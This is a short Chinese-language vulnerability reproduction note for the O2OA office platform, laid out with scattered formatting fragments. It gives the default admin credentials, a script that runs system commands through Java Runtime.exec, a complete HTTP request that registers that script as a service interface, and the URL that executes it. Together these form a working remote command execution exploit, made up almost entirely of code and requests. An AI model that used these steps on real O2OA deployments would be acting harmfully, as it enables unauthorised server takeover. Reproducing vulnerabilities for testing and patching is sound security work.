||
O2OA
|
||
```
|
||
|
||
## 网络测绘

```
|
||
|
||
## 漏洞复现
|
||
|
||
登录页面
|
||
|
||
|
||
|
||
默认密码登录后台 `xadmin/o2`
|
||
|
||
|
||
|
||
在应用中找到服务管理，创建接口代码执行系统命令
|
||
|
||
```
|
||
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
|
||
|
||
var result = [];
|
||
while (true) {
|
||
var oneline = bufReader.readLine();
|
||
result.push(oneline);
|
||
if (!oneline) break;
|
||
}
|
||
var result = { "Result": result };
|
||
this.response.setBody(result, "application/json");
|
||
```
|
||
|
||
|
||
|
||
请求包
|
||
|
||
```
|
||
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
|
||
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA
|
||
|
||
{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}
|
||
```
|
||
|
||
|
||
|
||
创建成功后访问接口执行系统命令
|
||
|
||
```
|
||
/x_program_center/jaxrs/invoke/cmd/execute
|
||
```
